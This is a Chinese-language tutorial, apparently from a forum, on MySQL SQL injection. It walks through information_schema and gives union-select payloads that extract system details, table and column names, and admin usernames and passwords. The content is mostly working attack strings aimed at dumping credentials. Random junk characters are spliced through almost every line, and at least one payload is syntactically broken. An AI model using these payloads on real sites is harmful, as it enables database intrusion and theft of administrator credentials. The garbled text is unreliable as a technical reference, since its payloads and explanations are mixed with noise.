本文介绍MYSQL盲注的一些语句和方法
. e6 [) u2 K# _5 e+ a
8 V9 v4 j8 }- @7 x" }3 F4 u学习盲注前先了解下 IFORMATION_SCHEMA 库( l& |! d) v2 B# l8 i# a- v
: D3 X& F: V$ v7 lMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
9 H* w6 H2 @# y6 ]# ]存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
# I' e' |8 i n* b1.得到所有数据库名:# e1 t9 m! D. X4 D9 N* `
|SCHEMATA ->存储数据库名的表7 V' S! d+ ?" N( [
|---字段:SCHEMA_NAME ->数据库名称3 A5 o; r: V5 C- D) [2 ?
7 e! n1 I0 q; I8 l1 }|TABLES ->存储表名( n% \% o1 I* P: b
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名 \: c5 i) |' [1 w' q4 Y7 s
|---字段:TABLE_NAME ->存储表的表名
6 u$ Z0 D9 F" t8 w o. y4 F" T2 p# K# t" r c
|COLUMNS ->存储的字段名表# T$ O' m1 m! B; U$ j
|---字段:TABLE_SCHEMA ->该字段所属数据库名
( h2 u& T7 ?( s* t: M* j|---字段:TABLE_NAME ->存储所属表的名称
& r6 T X$ ^* |% B7 l& A
4 u1 h1 U% U1 D6 `/ p0 W4 x; D|---字段:COLUMN_NAME ->该字段的名称' }& o4 G5 w4 m: U
6 _6 ^+ }* P3 O
9 F/ [! D n4 s3 i
# V, O0 ]& E( Y% ]* W) T
###########################################################################, C7 M: u7 x$ q w5 M' c
7 I8 S0 w* u2 \4 d5 w& c+ K h" u0x001 获取系统信息:
) }. ~8 M% I N8 I4 W) h% `$ H/ d4 W5 x! `/ c; T5 s. i6 ^! \
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*; V o# M7 [# }
1 ]# S7 |0 ]; m( D5 Z) U7 H- t1 N
/*7 A' U! b$ d/ ?/ t1 y: a9 d! T
6 v5 a; w8 y/ c
@@global.version_compile_os 获取系统版本. T0 M8 f# X C+ B, o) O3 e
( U* j/ H9 t: V, V5 p6 r! f" i+ G
@@datadir 数据库路径
/ D; _3 }2 R0 p: U3 B% wdatabase() 当前数据库名称: t! L, K* B' z9 f- ]
0x3c62723e 换行HEX值
7 d$ ?) |5 I: P, k5 `9 E2 W/ L1 ~6 Y! `
*/
% s" R# b. x5 P# ]# C
5 Q! ~! w3 S% @) O6 K; } % s4 U! H, \. Z
0 ]& {7 s! K( X" W
####################################################################### |' d( y+ u i. K+ x
* M- F* ]2 S( e3 T) q
0x002 获取表名
2 f1 V+ d7 I# A: J& C8 Q3 a S/ n9 T
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
! E% Z0 `7 Z8 W) `* B
% W% ?+ S, e% J( k5 R1 C) s 5 x) B$ C4 ]8 Q4 w- \8 s+ q0 M2 m5 _
6 G/ o. Y1 o4 G* `/ J/*# X" J( { U: B
4 ^+ J0 L. ?$ U$ o% ]. e
0x67617264656e 为当前数据库名
$ \; h5 E5 W; q, @, \0 O0 @$ Z# ?
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名5 _5 f8 U% m. h+ G9 @5 _) o
4 N1 b( E( T2 q/ i7 B6 Y# O; m' n
*/
7 g* l' {3 n* _" |1 C% T' t% E# d6 J6 z+ r
######################################################################0 K$ C5 R& Q4 d5 J+ @4 W& w1 a0 A
2 t, n P; g9 P: K# {& T1 _# o - x) C( R) X& f
+ f$ q, n$ x8 `" a
0x003 获取字段, M# W2 f% ?% e/ M$ o# D
0 d9 T7 p2 u$ w Q/ M5 ^7 |
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*; [5 P, J* k. \* i& K
5 S! @+ o/ @5 K$ ~/*/ K+ O- h. M5 \1 G
( I D5 p, Y J) q/ z0 v
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
7 J6 h3 h1 X: _& J* z* U4 K7 Z" e8 k/ G9 x+ I+ @
0x61646d696e ->选择一个表0 N3 b& h. y( i2 }
) @3 I9 G' _: W& b1 l1 R$ a/ g
0x67617264656e ->数据库名
( _% t( ^. w! x$ [' N1 i8 l' ]2 s8 i8 \! x. \, ^* T
*/
/ E; \5 J8 w3 F; X: c
2 C" P0 L+ K' P+ F- u; R#####################################################################
/ E% K% R8 W5 U! e6 F- c$ Z# \0 R& ?
, v3 X( { V( O3 h
& W# p% \! H9 d M8 g- M3 i+ o3 N" a/ u% l' X5 x5 x; c0 _
0x004 获取数据/ e; o. B/ S2 ?# {
- i }* C8 d, H9 Cunion select 1,2,3; q) y+ `9 r) M. }1 s
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
* u6 w" r2 V1 q6 f1 u3 h6 [ W$ @3 G- c- p+ j: x% b
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin0 {1 v# l1 Q2 X/ F" D7 u; ]% h
% w1 O! v5 |2 g5 X 9 ^' ?! c" \4 x" r* [* u5 n
, w& n3 S; K8 e/ c; k) \" t
/*; o, s, a( Q! T2 a3 H' N, R7 I# ^
/ x% q. R- w5 N3 B* g1 f0x3c62723e 换行符号HEX编码
2 O2 V! S: V: R. g
8 ~1 D8 K: I- \$ b% Xgroup_concat 同时获得该字段所有数据
$ H+ q* P) S# |
0 u' ^5 q) h2 f; o: D8 D*/
: e0 Z; J& e9 Z
& z H3 T p9 e, z+ G' k |